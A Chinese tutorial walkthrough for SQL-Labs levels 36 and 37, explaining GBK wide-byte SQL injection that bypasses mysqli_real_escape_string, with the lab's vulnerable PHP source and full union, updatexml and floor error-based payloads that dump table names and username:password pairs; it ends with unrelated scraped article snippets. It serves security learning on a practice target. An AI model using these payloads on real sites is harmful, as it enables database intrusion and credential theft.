SQL-Labs靶场“36-37”关通关教程
一、36关 GET单引号宽字节注入
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、报错、布尔盲注、延时盲注 | id=‘$id’ |
首先我们进行测试(使用?id=1\,查看过滤后的回显)
这里可以看到对我们的注释符进行了注释以及单双引号进行测试会发现都是如此:
所以这里我们判断使用了过滤函数进行了过滤,所以我们首先查看源码。
1、源码分析
<?php
//including the Mysql connect parameters.
include("../sql-connections/sqli-connect.php");
error_reporting(0);
function check_quotes($con1, $string)
{$string=mysqli_real_escape_string($con1, $string); return $string;
}
// take the variables
if(isset($_GET['id']))
{
$id=check_quotes($con1, $_GET['id']);
//echo "The filtered request is :" .$id . "<br>";
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
mysqli_query($con1, "SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);if($row){echo 'Your Login name:'. $row['username'];echo 'Your Password:' .$row['password'];}else {print_r(mysqli_error($con1));}
}else { echo "Please input the ID as parameter with numeric value";}
?>
源码大致与前几关相同,都是先过滤,后查询,查询成功输出查询到的信息,如果没有查询成功,那么输出报错信息。我们主要看下这个过滤函数,从而计划如何进行绕过:
function check_quotes($con1, $string)
{$string=mysqli_real_escape_string($con1, $string); return $string;
}
可以看到里面主要使用了mysqli_real_escape_string
函数,在官网进行查看:
可以看到官网说明对SQL语句特殊字符进行转义:
危险字符 | 转义后 |
---|---|
\ | \\ |
' | \' |
" | \" |
我们可以看到其实和前几关差不多,尤其32关,就过滤函数不一样,剩下的都一样。
2、联合查询注入
上面我们消除了转义符号的威胁,下面我们即可轻松的搭配别的注入方式完成注入,之前通过源码分析,由于查询成功输出了查询到的信息,所以我们将使用联合查询的方式完成注入。
1、猜测字段
?id=1%df' order by 4--+
从上面我们可以看到并没有第四列,所以我们尝试使用3来进行测试:
?id=1%df' order by 3--+
可以看到这里显示了通过1查询到的信息,所以后面的内容为真,即为该表的列数为3列,下面我们测试使用联合查询进行注入:
2、测试使用联合查询注入观察回显
?id=-1%df' union select 1,2,3--+
这里我们可以看到回显的点在2与3字段,所以我们直接随便选一个更改payload完成注入即可:
3、爆出数据库中的表名
?id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
这里我们由于后面不能使用的单引号,所以我们引用数据库名称也可以使用database()
来进行引用。这里当然有人想到之前的方法使用df来进行逃逸,可以试试会发现数据库会将最后解码出的汉字扩入到数据库名称中,从而引发报错,所以这种方法其实是不可取的。
4、爆出数据库表名中的列名
?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x656D61696C73--+
这里可以使用16进制来进行逃逸,该十六进制为emails表转码的结果:
可以看到这里也是可以的,当然,我们也可以使用嵌套,子查询来进行:
?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)--+
这里我相信大家也能看懂,使用limit来代替表名,更改limit即可完成所有表名列名的查询,使用3,1,即可看到users表的列名:
可以看到有很多陌生的字段,这里我也不懂,先放着,我遇到很多次,在第一次使用floor进行报错注入时,爆出列名也遇到了这样的情况,但是我肯定,这里我们数据库中表是没有这几列的:
同时我之前进行猜字段数大家也看到了,也是三个字段,所以我们暂时放着。
5、爆出数据库表中的数据
?id=-1%df' union select 1,group_concat(id,username,0x3a,password),3 from users--+
这样即可完成union注入。
3、updatexml报错注入
之前我们也分析了源码,确定会显示报错的信息,所以我们当然可以使用报错注入进行测试。
1、爆出当前数据库名称
?id=1%df' and updatexml(1,concat(0x7e,database(),0x7e),1)--+
2、爆出当前数据库中的所有表名
?id=1%df' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)--+
3、爆出users可疑表的列名字段
?id=1%df' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)),0x7e),1)--+
4、爆出数据完成updatexml报错注入
?id=1%df' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--+
4、floor报错注入
这里就直接上payload:
1、查询当前数据库名称
?id=1%df' or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
2、查询当前数据库下的所有表名
?id=1%df' or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
?id=1%df' or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
3、查询当前数据库表下的列名
?id=1%df' or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = (select table_name from information_schema.tables where table_schema=database() limit 0,1) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
需要注意上面这个与下面这个语句查的不是一个表,一个是emails一个是users:
?id=1%df' or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = (select table_name from information_schema.tables where table_schema=database() limit 3,1) limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
4、查询users表中的数据
?id=1%df' or (select 1 from (select count(*),concat((select concat(username,0x3a,password)from users limit 0,1),floor(rand(0)*2))x from users group by x)a)--+
二、37关 POST单引号宽字节注入
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合、报错、布尔盲注、延时盲注 | username=‘$uname’ |
本关其实与33关相似,只是使用POST进行传参,过滤方法与33关一致,所以解法也差不多,首先我们依旧是进行测试查看回显:
可以看到uname以及passwd都进行了过滤,所以我们其实依旧可以使用宽字节注入,下面查看源码。
1、源码分析
<?php
//including the Mysql connect parameters.
include("../sql-connections/sqli-connect.php");
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{$uname1=$_POST['uname'];$passwd1=$_POST['passwd'];//echo "username before addslashes is :".$uname1 ."<br>";//echo "Input password before addslashes is : ".$passwd1. "<br>";//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'User Name:'.$uname1);fwrite($fp,'Password:'.$passwd1."\n");fclose($fp);$uname = mysqli_real_escape_string($con1, $uname1);$passwd= mysqli_real_escape_string($con1, $passwd1);//echo "username after addslashes is :".$uname ."<br>";//echo "Input password after addslashes is : ".$passwd; // connectivity mysqli_query($con1, "SET NAMES gbk");@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";$result=mysqli_query($con1, $sql);$row = mysqli_fetch_array($result, MYSQLI_BOTH);if($row){//echo '<font color= "#0000ff">'; //echo " You Have successfully logged in\n\n " ;echo 'Your Login name:'. $row['username'];echo 'Your Password:' .$row['password'];echo '<img src="../images/flag.jpg" />'; }else {//echo "Try again looser";print_r(mysqli_error($con1));}
}
?>
我们从源码中可以看到依旧是相同的配置,只是变为了POST传参,同时对于uname以及passwd都进行了过滤,与36关相同的过滤方式,所以我们依旧使用宽字节注入,抓包进行改包测试。
$uname = mysqli_real_escape_string($con1, $uname1);
$passwd= mysqli_real_escape_string($con1, $passwd1);
2、联合查询注入
1、猜字段
uname=1%df' order by 3#&passwd=1&submit=Submit
2、测试观察回显
uname=-1%df' union select 1,2#&passwd=1&submit=Submit
3、爆出该数据库下的表名
uname=-1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#&passwd=1&submit=Submit
4、爆出该数据库表下的列名
uname=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x656D61696C73#&passwd=1&submit=Submit
上面使用十六进制的方式,下面使用子查询的方式:
uname=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)#&passwd=1&submit=Submit
5、爆出表的数据
uname=-1%df' union select 1,group_concat(id,0x3a,email_id) from emails#&passwd=1&submit=Submit
下面是users表:
uname=-1%df' union select 1,group_concat(id,username,0x3a,password) from users#&passwd=1&submit=Submit
即可完成注入。
3、updatexml报错注入
1、爆出数据库名
uname=1%df' and updatexml(1,concat(0x7e,database(),0x7e),1)#&passwd=1&submit=Submit
2、爆出数据库名下的所有表名
uname=1%df' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)#&passwd=1&submit=Submit
3、爆出数据库下表的列名
uname=1%df' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)),0x7e),1)#&passwd=1&submit=Submit
5、爆出数据
uname=1%df' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)#&passwd=1&submit=Submit
即可完成updatexml报错注入。
4、floor报错注入
1、爆出数据库名
uname=1%df' or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)#&passwd=1&submit=Submit
2、爆出数据库下的所有表名
uname=1%df' or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&passwd=1&submit=Submit
3、爆出数据库表的列名
uname=1%df' or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = (select table_name from information_schema.tables where table_schema=database() limit 0,1) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&passwd=1&submit=Submit
4、爆出数据
uname=1%df' or (select 1 from (select count(*),concat((select concat(username,0x3a,password)from users limit 0,1),floor(rand(0)*2))x from users group by x)a)#&passwd=1&submit=Submit
即可完成floor报错注入。
相关文章:
SQL-Labs靶场“36-37”关通关教程
一、36关 GET单引号宽字节注入 请求方式注入类型拼接方式GET联合、报错、布尔盲注、延时盲注id‘$id’ 首先我们进行测试(使用?id1\,查看过滤后的回显) 这里可以看到对我们的注释符进行了注释以及单双引号进行测试会发现都是如此ÿ…...
RabbitMQ介绍及搭建
架构 RabbitMQ是实现了高级消息队列协议(AMQP)的开源消息代理软件,使用erlang语言编写,依赖Erlang环境运行。 Broker:运行消息队列服务进程的节点,包含Exchange、Queue; Producer:消…...
VSCode + PicGo + Github 实现markdown图床管理
目录 PicGo客户端VSvode插件 PicGo客户端 PicGo 是一个图片上传管理工具 官网:https://molunerfinn.com/PicGo/ github图传使用说明:https://picgo.github.io/PicGo-Doc/zh/guide/config.html#GitHub图床 步骤: 1、创建一个github公开仓库…...
小程序搜索排名优化二三事
小程序的优化主要是排名优化和性能优化两个版块。性能优化这方面主要靠开发者自己完善,我们团队提供的服务就是把产品的排名打上去,获得更多的自然流量,实现盈利。 如何提升小程序的搜索排名主要从如下几个方面出发: 首先要知道…...
分布式 Session--一起学习吧之架构
一、定义 分布式Session是指在一个分布式系统中,多个服务器之间共享用户的会话信息。在Web应用中,Session通常用于跟踪用户的状态和会话数据。然而,在分布式系统中,由于用户请求可能被分发到不同的服务器上,因此需要一…...
记录一下小程序自定义导航栏消息未读已读小红点,以及分组件的消息数量数据实时读取
本案例,Message 身为组件,使用不了任何钩子来重新获取 this.getMessageList() 消息列表 使用 props 父子传参,因为 Message 组件使用不了页面生命周期从而无法拿到传递过来的数据 使用 watch 监听不到 props 更不建议使用本地存储,…...
qt+ffmpeg 实现音视频播放(二)之音频播放
一、音频播放流程 1、打开音频文件 通过 avformat_open_input() 打开媒体文件并分配和初始化 AVFormatContext 结构体。 函数原型如下: int avformat_open_input(AVFormatContext **ps, const char *url, AVInputFormat *fmt, AVDictionary **options); 参数说…...
Bash Shell中双引号中的感叹号问题详解
Bash Shell中双引号中的感叹号问题详解 在Bash Shell中,感叹号(!)是一个特殊字符,主要用于历史扩展。历史扩展允许你使用!来引用历史命令。然而,当你在双引号中使用感叹号时,如果你在双引号中直接使用感叹号,它可能会…...
MFC中CString的用法及使用示例
CString 是 Microsoft Foundation Classes (MFC) 库中的一个类,用于处理 C 风格的字符串。它提供了很多有用的方法和函数,使得字符串的操作变得更加简单和安全。下面是一些 CString 的基本用法和使用示例: 1. 包含头文件 首先,你…...
注册个人小程序
访问地址 https://mp.weixin.qq.com/ 立即注册 选择小程序 注册 填写信息 登录邮箱 访问邮箱的链接激活账号 选择个人,填写信息 注册完成,即可登录进入填写信息...
VTK----VTK的事件机制
事件的发送和接收对于一个应用或系统来说是一个基本的功能,所以一些通用的库对应地也建立了自己的一套管理事件的机制,例如QT、VTK都有自己的事件管理机制。VTK库中定义了很多的事件,这些事件是如何进行管理的,下面从三个方面来详细的说明。 1 事件的管理 在讲述VTK的事件…...
常用的vim和linux命令
常用的vim命令和linux命令 vim编辑器有三种模式 命令模式、编辑模式、末行模式 模式间切换方法: 1.命令模式下,输入:后,进入末行模式 2.末行模式下,按esc慢退、按两次esc快退、或者删除所有命令,可以回…...
生产环境中间件服务集群搭建-zk-activeMQ-kafka-reids-nacos
环境: 系统:centos7.9 工作目录:/home 安装包位置:/home/op/tools 1.系统初始化 安装依赖环境 yum -y install net-tools vim screen telnet vim gcc gcc-c 修改主机名,为另外两台添加hosts文件 [rootmq01 conf…...
Smart Light Random Memory Sprays Retinex 传统图像增强 SLRMSR
文章目录 前言1、Smart Light Random Memory Sprays Retinex概况2、Smart Light Random Memory Sprays Retinex的实现2.1、SLRMSR算法的伪代码2.2、初始化记忆喷雾(CreateInitialMemorySpray)2.3、更新记忆喷雾 (UpdateMemorySpray)2.4、计算颜色校正因子…...
Oracle数据库实例概述
Oracle数据库实例是由内存结构(SGA和PGA)及后台进程这两大部分组成。 内存结构 SGA (System Global Area):这是数据库实例的共享内存区域,所有与该实例连接的进程都可以访问。SGA包含多个内存结构,例如: 数…...
Odoo17免费开源ERP开发技巧:如何在表单视图中调用JS类
文/Odoo亚太金牌服务开源智造 老杨 在Odoo最新V17新版中,其突出功能之一是能够构建个性化视图,允许用户以独特的方式与数据互动。本文深入探讨了如何使用 JavaScript 类来呈现表单视图来创建自定义视图。通过学习本教程,你将获得关于开发Odo…...
[RCTF2015]EasySQL ---不会编程的崽
今天也是sql注入的新类型---二次注入。不得不说花样真的多哦。 既然真的是sql注入了。那就不测试其他地方了。现在注册进去看一下界面 单纯的回显了名字。源代码里发现user.php。 可以修改密码?二次注入应该就在用户名这里了。因为修改密码时,用户名会被…...
Memcached-分布式内存对象缓存系统
目录 一、NoSQL 介绍 二、Memcached 1、Memcached 介绍 1.1 Memcached 概念 1.2 Memcached 特性 1.3 Memcached 和 Redis 区别 1.4 Memcached 工作机制 1.4.1 内存分配机制 1.4.2 懒惰期 Lazy Expiration 1.4.3 LRU(最近最少使用算法) 1.4.4…...
bash: sqlplus: command not found 问题解决方法
一、问题描述 在Linux中Oracle安装成功后,首次启动使用时,出现 sqlplus 命令不识别的问题,现象如下: $ sqlplus / as sysdba bash: sqlplus: command not found...二、问题分析 查看环境变量是否正确配置: $ vim .ba…...
大模型-Prompt
一、prompt是什么 在大型语言模型集成中,"prompt" 是指您向模型提供的输入文本或指令,以引导模型生成特定类型的响应。这个 prompt 可以是一个问题、一段描述、一个任务说明,甚至是一部分对话历史记录等。通过设计和优化 prompt&a…...
Python实战:SQLAlchemy ORM使用教程
一、SQLAlchemy ORM使用教程 SQLAlchemy是一个流行的Python SQL工具包和对象关系映射(ORM)框架,它为开发人员提供了一种高效、灵活的方式来与数据库进行交互。在本篇博客中,我们将深入探讨SQLAlchemy ORM的核心知识,并…...
能不能绕过c去学c++?
目前做工程开发,基本都是c/c混着用的,c/c是同源的,c/是在c的基础上发展起来的,它们之间有些联系和区别: 区别: 1.可用库不同 c基本是系统底层语言,一般系统底层开发用c(例如&…...
Python 小爬虫:爬取 bing 每日壁纸设为桌面壁纸
请求 URLJSON 版示例代码代码片段注意点headers 中的 User-Agent响应头中的 Content-Type终端通过代理API从 bing.com 找Bing 每日壁纸设置为桌面壁纸代码设定计划任务自动执行 python 脚本请求 URL 通过模仿必应(Bing)自己的 AJAX 调用方式获得请求 URL。 JSON 格式:...
利用textarea和white-space实现最简单的文章编辑器 支持缩进和换行
当你遇到一个非常基础的文章发布和展示的需求,只需要保留换行和空格缩进,你是否会犹豫要使用富文本编辑器?实际上这个用原生的标签两步就能搞定! 1.直接用textarea当编辑器 textarea本身就可以保存空格和换行符,示例如…...
总结mac下解决matplotlib中文显示问题的几种方法
一、前言: 使⽤matplotlib画图时,由于matplotlib默认没有中⽂,显⽰中文时会出现空⽩⼩⽅块。 二、方法: 2.1 matplotlib中使用SimHei字体 1)进入终端后查看matplotlib的字体路径: $ python >>&g…...
探索区块链世界:从加密货币到去中心化应用
相信提到区块链,很多人会想到比特币这样的加密货币,但实际上,区块链技术远不止于此,它正在深刻地改变我们的生活和商业。 首先,让我们来简单了解一下什么是区块链。区块链是一种分布式数据库技术,它通过将…...
GitLab/Github从头开始配置秘钥
1、下载git安装包 CNPM Binaries Mirrorhttps://registry.npmmirror.com/binary.html?pathgit-for-windows/ 拉到页面最底部选择 点进文件夹下载32位或者64位的版本,我的是64位就选择64的版本进行安装 2、傻瓜式安装 3、在相应的文件夹右键选择 UserName为你的用…...
uni.getlocation h5获取定位失败后,阻塞问题
uni.getlocation 在H5中,如果用户未开gps定位或者gps定位信号较差时,定位会失败。这种情况uni.getlocation也不会出现报错,也不会有后续执行,导致代码阻塞,体验极差。 解决方案1:拿不到定位或者定位失败这个…...
Flutter 运行 flutter doctor 命令长时间未响应
由于 Flutter 运行 flutter doctor 命令,会从 pub(https://pub.dev/ 类似于 Node.js 的 npm) 上进行资源的下载,如果没有配置国内镜像,可能会由于其服务器在国外导致资源下载慢或者下载不下来,所以出现了运行 flutter doctor 命令…...
【数据挖掘】练习2:数据管理2
课后作业2:数据管理2 一:上机实验2 # 编写函数stat,要求该函数同时计算均值,最大值,最小值,标准差,峰度和偏度。 install.packages("timeDate") library(timeDate) stat <- func…...
网站建设实训报告ppt/市场营销计划
还是那句很欠揍的话,没啥难度,直接上代码。 // // ViewController.m // Demo—闪光灯 // // Created by yyt on 16/4/21. // Copyright © 2016年 yyt. All rights reserved. // #import "ViewController.h" #import <AVFoundation…...
做网站域名是什么意思/百度还原
在学习AllEmpty大神的从零开始编写自己的C#框架系列文章中,发现的问题:在验证码的缓存Session["vcode"]的赋值时,发现Session["vcode"]的值一直为null。 发现原来是在调用验证码生成类给Session["vcode"]赋值时…...
郑州网站制作咨询/企业管理培训机构排名前十
http://acm.edu.cn/showproblem.php?pid1032 直接用暴力方法竟然不超时...T_T感动cry ps:据说...自己算一下循环不超过10^6就不超时...囧 1 #include<stdio.h>2 int main()3 {4 int a1,b1,a,b,i,j,count,t,s;5 while(scanf("%d%d",&am…...
做网站怎么做连接点下一个页面/营销心得体会感悟300字
2019独角兽企业重金招聘Python工程师标准>>> this.$refs.xxx.style.height this.contentHeight; 元素需要绑定 转载于:https://my.oschina.net/carbenson/blog/3043043...
网站开发与维护难吗/怎样推广自己的app
前言通常我们都是使用xtrabackup工具来备份数据库,它是一个专业的备份工具,先来简单介绍下它。Xtrabackuppercona提供的mysql数据库备份工具,惟一开源的能够对innodb和xtradb数据库,它的增量备份不是基于二进制日志文件来还原数据…...